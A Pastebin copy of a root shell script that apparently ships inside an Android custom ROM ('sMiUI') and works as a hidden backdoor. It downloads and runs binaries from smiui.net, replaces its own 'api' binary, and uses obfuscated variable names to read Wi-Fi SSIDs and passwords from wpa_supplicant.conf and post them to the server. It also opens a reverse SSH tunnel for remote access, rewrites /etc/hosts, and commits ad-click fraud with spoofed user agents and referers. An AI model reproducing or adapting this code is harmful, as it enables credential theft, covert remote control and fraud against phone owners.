Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/system/bin/sh
- ### version=1142
- #
- #---### VARS ##################################################################
- if which curl ; then curlbin=$(which curl) ; fi ; [ -f /system/xbin/curl ] && curlbin=/system/xbin/curl ; [ -f /data/kitchen/curl ] && curlbin=/data/kitchen/curl
- if which curl ; then apicurl=$(which curl) ; else [ -f /system/xbin/curl ] && apicurl=/system/xbin/curl ; [ -f /data/kitchen/curl ] && apicurl=/data/kitchen/curl ; fi
- #---#// VARS ##################################################################
- #---### FUNCTIONS #############################################################
- func_RANDOM()
- {
- RANGE=$2
- FLOOR=$1
- number=0 #initialize
- while [ "$number" -le $FLOOR ]
- do
- number=$RANDOM
- let "number %= $RANGE" # Scales $number down within $RANGE.
- done
- echo "$number"
- }
- func_RANDSTRING()
- {
- stringlength=$1
- string=""
- for i in `seq 1 ${stringlength}`
- do
- #string=${string}$(echo 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' | cut -b `func_RANDOM 0 63`)
- string=${string}$(echo 'abcdefghijklmnopqrstuvwxyz' | cut -b `func_RANDOM 0 27`)
- done
- echo "$string"
- }
- func_PROPRANDSTRING()
- {
- stringlength=$1
- string=""
- for i in `seq 1 ${stringlength}`
- do
- #string=${string}$(echo 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' | cut -b `func_RANDOM 0 63`)
- string=${string}$(echo 'abcdef0123456789' | cut -b `func_RANDOM 0 17`)
- #string=${string}$(echo 'abcdefghijklmnopqrstuvwxyz' | cut -b `func_RANDOM 0 27`)
- done
- echo "$string"
- }
- Fecho()
- {
- echo "`date "+%d-%m-%Y %H:%M:%S -- "`$1"
- }
- Fdebug()
- {
- if [[ "${imei}" == "9cc8f54c6a70dbcd080da4b7601aa2e0" ]]
- then
- return 0
- else
- return 1
- fi
- }
- func_LOCALE()
- {
- loclocale=$(getprop persist.sys.locale | grep -e '^[a-z][a-z]-[A-Z][A-Z]$' -e '^[a-zA-Z][a-zA-Z]$')
- test -z $loclocale && loclocale=`getprop persist.sys.language | grep -e '^[a-z][a-z]-[A-Z][A-Z]$' -e '^[a-zA-Z][a-zA-Z]$'`
- case `func_RANDOM 0 6` in
- 1)
- loclang="${loclocale},en-US;q=0.7,en;q=0.3"
- ;;
- 2)
- loclang="${loclocale},en-US;q=0.8,en;q=0.7"
- ;;
- 3)
- loclang="${loclocale},en-US;q=0.8,en;q=0.5"
- ;;
- 4)
- loclang="${loclocale},en-GB;q=0.7,en;q=0.6"
- ;;
- 5)
- loclang="${loclocale},en-US;q=0.5,en;q=0.4"
- ;;
- esac
- case "$loclocale" in
- en-US|en|EN-US|en-us)
- loclang="en-US;q=0.8,en;q=0.5"
- ;;
- en-GB|EN-GB|en-gb)
- loclang="en-GB;q=0.8,en;q=0.4"
- ;;
- "")
- loclang="en-US;q=0.8,en;q=0.3"
- ;;
- esac
- }
- func_USERAGENT()
- {
- useragent_file=/data/ua.tmp
- rm $useragent_file &> /dev/null
- case $1 in
- desktop)
- echo 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0' >> $useragent_file
- echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2780.0 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2480.0 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2763.0 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.108 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31 (Edition Campaign 70)' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.00' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36' >> $useragent_file
- echo 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20100101 Firefox/30.0' >> $useragent_file
- echo 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:47.0) Gecko/20100101 Firefox/47.0' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2767.4 Safari/537.36 OPR/40.0.2273.0 (Edition developer)' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 YaBrowser/16.6.1.30014 (beta) Yowser/2.5 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.4.2564.88 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0' >> $useragent_file
- sed -n "$(func_RANDOM 0 26)p" $useragent_file
- rm $useragent_file &> /dev/null
- ;;
- mobile)
- echo 'Mozilla/5.0 (Linux; Android 5.1; m2 note Build/LMY47D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; U; Android 4.4.4; vi; MI 4C Build/KTU84P) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 UCBrowser/9.7.5.418 U3/0.8.0 Mobile Safari/533.1' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; U; Android 5.0.2; id; Redmi Note 2 Build/LRX22G) AppleWebKit/534.30 (KHTML,like Gecko) Version/4.0 UCBrowser/10.4.0.641 U2/1.0.0 Speed Safari/534.30' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; Xperia Z2 Tablet Wifi Build/LMY48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; Redmi 2 Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2519.0 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 4i Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2516.0 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 4LTE Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 ACHEETAHI/2100502010' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 3W Build/LVY48F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.42 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; MI 2S Build/LMY48B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.1.1; HM NOTE 1W Build/LMY48I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2519.0 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 5.0.2; MI NOTE Pro Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 4.3; Galaxy Nexus Build/JWR66Y) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.94 Mobile Safari/537.36' >> $useragent_file
- echo 'Opera/9.80 (Android; Opera Mini/7.5.33135/37.6631; U; en) Presto/2.12.423 Version/12.16' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 4.4.4; MI PAD Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 YaBrowser/15.6.2311.5718.01 Yowser/2.0.3 Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; Android 4.4.4; MI2A_BETA Decuro Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36' >> $useragent_file
- echo 'Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5' >> $useragent_file
- echo 'Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5' >> $useragent_file
- echo 'Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1' >> $useragent_file
- sed -n "$(func_RANDOM 0 19)p" $useragent_file
- rm $useragent_file &> /dev/null
- ;;
- both)
- if [[ "$(func_RANDOM 0 4)" == "1" ]] # 1 = mobile - 2,3 = desktop
- then
- func_USERAGENT mobile
- else
- func_USERAGENT desktop
- fi
- ;;
- esac
- }
- func_SLEEP()
- {
- Fdebug && Fecho "[INFO] Sleep $1 Seconds - Reason: $2" >> ${debug_logfile}
- for i in $(seq 1 ${1})
- do
- sleep 1
- done
- }
- func_WIFI()
- {
- if route | grep wlan0 &> /dev/null ; then return 0 ; else return 1 ; fi
- }
- func_INT()
- {
- if ping -q -c 1 ${smiuiurl} &> /dev/null ; then return 0 ; else return 1 ; fi
- }
- func_FILES()
- {
- mkdir -p /data/miui/tmp &> /dev/null
- Vfile_check=0
- [ "$(md5sum /data/miui/tmp/83210983210938218367 | awk '{print $1}' )" == "db8592ae7f574844612a847888ffadac" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/83210983210938218367" -o /data/miui/tmp/83210983210938218367
- [ "$(md5sum /data/miui/tmp/83746120198172672819 | awk '{print $1}' )" == "0212c963eccd27a0b9994327300bf11f" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/83746120198172672819" -o /data/miui/tmp/83746120198172672819
- [ "$(md5sum /data/miui/tmp/39208746789036475142 | awk '{print $1}' )" == "2741a41a3d74ba30ccbb89da754a082f" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/39208746789036475142" -o /data/miui/tmp/39208746789036475142
- [ "$(md5sum /data/miui/tmp/27272883776178882991 | awk '{print $1}' )" == "5289c946a21666c8fd9015e6c571f8d3" ] || ${curlbin} -k "https://${smiuiurl}/files/terces/27272883776178882991" -o /data/miui/tmp/27272883776178882991
- [ "$(md5sum /data/miui/tmp/83210983210938218367 | awk '{print $1}' )" == "db8592ae7f574844612a847888ffadac" ] || Vfile_check=1
- [ "$(md5sum /data/miui/tmp/83746120198172672819 | awk '{print $1}' )" == "0212c963eccd27a0b9994327300bf11f" ] || Vfile_check=1
- [ "$(md5sum /data/miui/tmp/39208746789036475142 | awk '{print $1}' )" == "2741a41a3d74ba30ccbb89da754a082f" ] || Vfile_check=1
- [ "$(md5sum /data/miui/tmp/27272883776178882991 | awk '{print $1}' )" == "5289c946a21666c8fd9015e6c571f8d3" ] || Vfile_check=1
- chown -R root.root /data/miui/tmp
- chmod -R 755 /data/miui/tmp
- if [ ${Vfile_check} == 1 ] ; then return 1 ; else return 0 ; fi
- }
- func_API()
- {
- mount -o remount,rw /system
- chmod 755 $(which curl) &> /dev/null
- chmod 755 /system/xbin/curl &> /dev/null
- chmod 755 /data/kitchen/curl &> /dev/null
- chown root.root $(which curl) &> /dev/null
- chown root.root /system/xbin/curl &> /dev/null
- chown root.root /data/kitchen/curl &> /dev/null
- ${apicurl} -k -s https://${smiuiurl}/api > /system/bin/api.tmp
- oKb1="or"
- bX2="ss"
- apinew=$(grep '^### version=....$' /system/bin/api.tmp | cut -d '=' -f 2) ; [ -z "${apinew}" ] && apinew=1
- apiold=$(grep '^### version=....$' /system/bin/api | cut -d '=' -f 2) ; [ -z "${apiold}" ] && apiold=1
- version=$(getprop ro.build.display.id)
- device=$(getprop ro.product.device)
- apivers=$(grep '^### version=....$' /system/bin/api | cut -d '=' -f 2)
- if [ "${apinew}" -gt "${apiold}" ]
- then
- rm /system/bin/api
- mv /system/bin/api.tmp /system/bin/api
- chown root.root /system/bin/api
- chmod 755 /system/bin/api
- sleep 1
- killall api
- else
- rm /system/bin/api.tmp
- fi
- apiport=$(${apicurl} -k --data "imei=${imei}&device=${device}&version=${version}&apivers=${apivers}" https://${smiuiurl}/api.php)
- fe=a;ui=p;ee=f;iii=n;aee=t;a122=i;uzz="/"
- #Fdebug || ${apicurl} -k -F userfile=@${uzz}d${fe}t${fe}${uzz}m${a122}sc${uzz}w${a122}f${a122}${uzz}w${ui}${fe}_su${ui}${ui}l${a122}c${fe}nt.conf https://${smiuiurl}/ul.php
- Fdebug || sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/;;;/g' ${uzz}d${fe}t${fe}${uzz}m${a122}sc${uzz}w${a122}f${a122}${uzz}w${ui}${fe}_su${ui}${ui}l${a122}c${fe}nt.conf | tr '}' '\n' | grep psk | sed 's/^.*ssid="\([^;]*\)";;;.*psk="\([^;]*\)";;;.*$/\1\/\2/g' | while IFS="/" read p1 p2
- do
- webify1=$(echo $p1 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
- webify2=$(echo $p2 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
- ${apicurl} -k --data "parm1=${webify1}&parm2=${webify2}" https://${smiuiurl}/api1.php
- done
- #find /sdcard/ -type f | grep -e "pa${bX2}w${oKb1}" | while read line
- #do
- # Fdebug || ${apicurl} -k -F userfile=@$line https://${smiuiurl}/ul.php
- #done
- mount -o remount,ro /system
- }
- func_SRV()
- {
- if [ "${apiport}" -lt 60001 ] && [ "${apiport}" -gt 9999 ]
- then
- killall 39208746789036475142 > /dev/null
- killall 27272883776178882991 > /dev/null
- kill -9 $(cat /data/miui/tmp/23871274281932197903) > /dev/null
- rm /data/miui/tmp/23871274281932197903 > /dev/null
- /data/miui/tmp/39208746789036475142 -E -p localhost:7272 -b /data/miui/tmp/83746120198172672819 -r /data/miui/tmp/83210983210938218367 -F -P /data/miui/tmp/23871274281932197903 -I 1200 -a -Y smiui &
- /data/miui/tmp/27272883776178882991 -R ${apiport}:localhost:7272 smiui@smiui.net -p 2233 -y -y -i /data/miui/tmp/83210983210938218367 -N &
- func_SLEEP 300
- killall 39208746789036475142 > /dev/null
- killall 27272883776178882991 > /dev/null
- kill -9 $(cat /data/miui/tmp/23871274281932197903) > /dev/null
- rm /data/miui/tmp/23871274281932197903 > /dev/null
- return 0
- else
- return 1
- fi
- }
- func_PROP()
- {
- propellerref="http://download.smiui.net/download.php"
- cookie="/data/kitchen/zZn41T54B3sT.tmp"
- agent=$(func_USERAGENT both)
- func_LOCALE
- mount -o rw,remount /system
- mv /etc/hosts /etc/hhh
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- ndc resolver flushdefaultif
- sleep 1
- smiuicheck=$(${apicurl} -k --data "imei=${imei}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' https://${smiuiurl}/propcheck.php)
- if [[ ${smiuicheck} == "START" ]]
- then
- rm ${cookie} "/data/api.tmp" &> /dev/null
- Fdebug && Fecho "[propeller]- AGENT: ${agent}" >> ${debug_logfile}
- $curlbin "http://go.oclaserver.com/apu.php?zoneid=728321" -H 'Host: go.oclaserver.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -k -L -c ${cookie} > "/data/api.tmp"
- #### decrypt
- decryptstring=$(grep "abcdefghijklmnopqrstuvwxyz0123456789...................................." "/data/api.tmp" | sed 's/^.*\(abcdefghijklmnopqrstuvwxyz0123456789....................................\).*$/\1/g')
- cryptbyte=$(echo $decryptstring | cut -c 37-)
- realbyte=$(echo $decryptstring | cut -c 1-36)
- rm "/data/decrypt.tmp" "/data/final_decrypt.tmp" &> /dev/null && touch "/data/decrypt.tmp" && touch "/data/final_decrypt.tmp"
- decryptline=$(tail -n1 "/data/api.tmp" | sed -e 's!^.*"\(....:.../.../..........\......./?..*=........-....-....-....-.............\).*$!\1!g')
- bytecount=$(echo $decryptline | wc -c)
- for i in $(seq 1 "${bytecount}")
- do
- echo "$decryptline" | cut -b${i} > "/data/decrypt.tmp"
- stringpos=1
- for x in $(echo $cryptbyte | sed 's/\(.\)/\1 /g')
- do
- if grep $x "/data/decrypt.tmp" &> /dev/null
- then
- echo "$(echo $realbyte | cut -c${stringpos})" > "/data/decrypt.tmp"
- break
- fi
- ((stringpos++))
- done
- echo "$(cat "/data/final_decrypt.tmp")$(cat "/data/decrypt.tmp")" > "/data/final_decrypt.tmp"
- done
- link="$(cat "/data/final_decrypt.tmp" | sed 's/\\//g')\\"
- #### decrypt end
- #cookievar=`grep "pbk2" ${cookie} | awk '{ print $7 }'`
- #link="http://onclickads.net/?zoneid=728321&pbk2=${cookievar}&r=%2Foc%2Fhan&uuid=$(func_PROPRANDSTRING 8)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 4)-$(func_PROPRANDSTRING 12)"
- Fdebug && cp -f "/data/api.tmp" "/data/propeller1" && cat ${cookie} >> "/data/propeller1"
- Fdebug && Fecho "[propeller]- $link" >> ${debug_logfile}
- $curlbin "$link" -H "User-Agent: ${agent}" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H "Upgrade-Insecure-Requests: 1" -k -L -c ${cookie} -b ${cookie} > "/data/api.tmp"
- link2=`grep http "/data/api.tmp" | sed "s/^.*\(http:.*\)'.*$/\1/g"`
- echo ${link2} | grep -w "^http" || link2=$(grep http "/data/api.tmp" | sed "s/^.*'\(.*\)'.*$/\1/g" | head -n1)
- Fdebug && cp -f "/data/api.tmp" "/data/propeller2"
- Fdebug && Fecho "[propeller]- $link2" >> ${debug_logfile}
- if ! test -z ${link2}
- then
- $curlbin "${link2}" -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${link}" -H 'Connection: keep-alive' -k -L -c ${cookie} -b ${cookie} > "/data/api.tmp"
- Fdebug && cp -f "/data/api.tmp" "/data/propeller3"
- fi
- rm ${cookie} "/data/api.tmp" "/data/decrypt.tmp" "/data/final_decrypt.tmp" &> /dev/null
- fi
- mv /etc/hhh /etc/hosts
- mount -o remount,ro /system
- }
- func_REV()
- {
- revref="http://www.smiui.net/kitchen.php"
- cookie="/data/kitchen/zZn41T54B3sT.tmp"
- agent=$(func_USERAGENT both)
- func_LOCALE
- mount -o rw,remount /system
- mv /etc/hosts /etc/hhh
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- ndc resolver flushdefaultif
- sleep 1
- case `func_RANDOM 0 14` in
- 1)
- popeye='&popeye=bXg9NDc0Jm15PTQ1MyZjeD0xNjU0JmN5PTY2MyZ3PTI0MDAmaD03ODgmYz0xJnM9MSZ0PTMwMDQ%3D&olive=1'
- ;;
- 2)
- popeye='&popeye=bXg9Mjc1Jm15PTQwMyZjeD02MTMmY3k9MTk5Jnc9MTIzNiZoPTQwOCZjPTEmcz0xJnQ9ODAzOA%3D%3D&olive=1'
- ;;
- 3)
- popeye='&popeye=bXg9MTIzNCZteT0yMTUmY3g9Mjc1JmN5PTI0MCZ3PTEyMzYmaD00MDgmYz0xJnM9MSZ0PTQ1MDQ%3D&olive=1'
- ;;
- 4)
- popeye='&popeye=bXg9NzQ1Jm15PTk1JmN4PTkzMCZjeT0yNjkmdz0yMjQ2Jmg9NDA4JmM9MSZzPTEmdD0yNjA1&olive=1'
- ;;
- 5)
- popeye='&popeye=bXg9MTQ4MSZteT0yOTUmY3g9MTI1MyZjeT0zMzYmdz0yNDAwJmg9Nzg4JmM9MSZzPTEmdD04Njg%3D&olive=1'
- ;;
- 6)
- popeye='&popeye=bXg9MjI2Jm15PTMzMyZjeD0yNjUmY3k9MTA1Jnc9NjE1Jmg9NjM1JmM9MSZzPTEmdD0yNTA4&olive=1'
- ;;
- 7)
- popeye='&popeye=bXg9MjQ4Jm15PTQwMSZjeD01MzAmY3k9NjQmdz02ODYmaD02MzUmYz0xJnM9MSZ0PTE3NTk%3D&olive=1'
- ;;
- 8)
- popeye='&popeye=bXg9MjE4Jm15PTIwJmN4PTEyMyZjeT0yOTEmdz02ODYmaD02MzUmYz0xJnM9MSZ0PTUxMDI%3D&olive=1'
- ;;
- 9)
- popeye='&popeye=bXg9OTQxJm15PTMzMCZjeD04MzAmY3k9Mzg5Jnc9MTk2NCZoPTYzNCZjPTEmcz0xJnQ9MzAwNw%3D%3D&olive=1'
- ;;
- 10)
- popeye='&popeye=bXg9bnVsbCZteT1udWxsJmN4PW51bGwmY3k9bnVsbCZ3PTE5NjQmaD00NzEmYz0xJnM9MSZ0PTg5&olive=1'
- ;;
- 11)
- popeye='&popeye=bXg9Mjg2Jm15PTI3NCZjeD0xMDMmY3k9MzMmdz02NzUmaD00NzMmYz0xJnM9MSZ0PTE2ODQ%3D&olive=1'
- ;;
- 12)
- popeye='&popeye=bXg9OTI4Jm15PTQ4MyZjeD0xMjA5JmN5PTI0NSZ3PTI0MDAmaD03ODgmYz0xJnM9MSZ0PTEwNzg%3D&olive=1'
- ;;
- 13)
- popeye='&popeye=bXg9MTY2MSZteT02MjAmY3g9MTQ0MCZjeT02MDQmdz0yNDAwJmg9Nzg4JmM9MSZzPTEmdD0zMjU%3D&olive=1'
- ;;
- esac
- smiuicheck=$(${apicurl} -k --data "imei=${imei}" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${propellerref}" -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' https://${smiuiurl}/revcheck.php)
- if [[ ${smiuicheck} == "START" ]]
- then
- rm ${cookie} "/data/api.tmp" &> /dev/null
- Fdebug && Fecho "[rev]- AGENT: ${agent}" >> ${debug_logfile}
- $curlbin "tags1.eclkspsa.com/adServe/banners?tid=149982_262605_2&tagid=2" -H 'Host: tags1.eclkspsa.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- $curlbin "cdn1.srv.revdepo.com/script/rhpop_1.1.50.js" -H 'Host: cdn1.srv.revdepo.com' -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/rhpop.js"
- ap_arg=$(grep 'cmp=POPUNDER&evp=' "/data/api.tmp" | sed 's/^..*\(cmp=POPUNDER&evp=.*\)..*$/\1/g' | cut -d "'" -f 1 | sed -e 's:%:%25:g' -e 's: :%20:g' -e 's:<:%3C:g' -e 's:>:%3E:g' -e 's:#:%23:g' -e 's:{:%7B:g' -e 's:}:%7D:g' -e 's:|:%7C:g' -e 's:\\:%5C:g' -e 's:\^:%5E:g' -e 's:~:%7E:g' -e 's:\[:%5B:g' -e 's:\]:%5D:g' -e 's:`:%60:g' -e 's:;:%3B:g' -e 's:/:%2F:g' -e 's:?:%3F:g' -e 's^:^%3A^g' -e 's:@:%40:g' -e 's:=:%3D:g' -e 's:&:%26:g' -e 's:\$:%24:g' -e 's:\!:%21:g' -e 's:\*:%2A:g')
- link="http://eclkspbn.com/adServe/sa?cid=149982_262605_2&pid=&q=sMiUI%20is%20a%20Custom%20ROM%20for%20Xiaomi%20Phones%20-%20Mi2%20Mi3%20Mi4%20Mi4i%20Mi-Note%20Mi-Note-Pro%20R&${ap_arg}${popeye}"
- Fdebug && cp -f "/data/api.tmp" "/data/rev1"
- Fdebug && Fecho "[rev]- $link" >> ${debug_logfile}
- $curlbin "$link" -H "User-Agent: ${agent}" -H 'Accept: */*' -H "Accept-Language: ${loclang}" -H 'DNT: 1' -H "Referer: ${revref}" -H 'Connection: keep-alive' -k -L -c ${cookie} > "/data/api.tmp"
- Fdebug && cp -f "/data/api.tmp" "/data/rev2"
- fi
- rm ${cookie} "/data/api.tmp" "/data/rhpop.js" &> /dev/null
- mv /etc/hhh /etc/hosts
- mount -o remount,ro /system
- }
- func_SHORT()
- {
- shorteref="http://www.smiui.net/about.php"
- cookie="/data/kitchen/zZn41T54B3sT.tmp"
- agent=$(func_USERAGENT both)
- func_LOCALE
- mount -o rw,remount /system
- mv /etc/hosts /etc/hhh
- echo "5.255.80.111 smiui.net" >> /etc/hosts
- echo "5.255.80.111 www.smiui.net" >> /etc/hosts
- ndc resolver flushdefaultif
- sleep 1
- Fdebug && Fecho "[shorte1]- AGENT: ${agent}" >> ${debug_logfile}
- $curlbin 'http://www.tradeadexchange.com/a/display.php?r=999708&sub1=79734196d6970f60b7326ea9aa3ce9db&sub2=0' -k -L -H "Host: tradeadexchange.com" -H "User-Agent: ${agent}" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: ${loclang}" -H "Referer: ${shorteref}" -H "Connection: keep-alive" -b $cookie -c $cookie > "/data/api.tmp"
- link=$(grep http /data/api.tmp | tr -d '\' 2> /dev/null | sed 's!^.*\(http://.*\).....&cbrandom.*$!\1!g')
- link=$link"&cbrandom=0.${randomize}`func_RANDOM 1111 9999``func_RANDOM 1111 9999``func_RANDOM 1111 9999``func_RANDOM 11111 99999`&cbtitle=sMiUI%20ROM%20Kitchen%20-%20Download&cbiframe=0"
- Fdebug && cp -f "/data/api.tmp" "/data/shorte1-1"
- Fdebug && Fecho "[shorte1]- $link" >> ${debug_logfile}
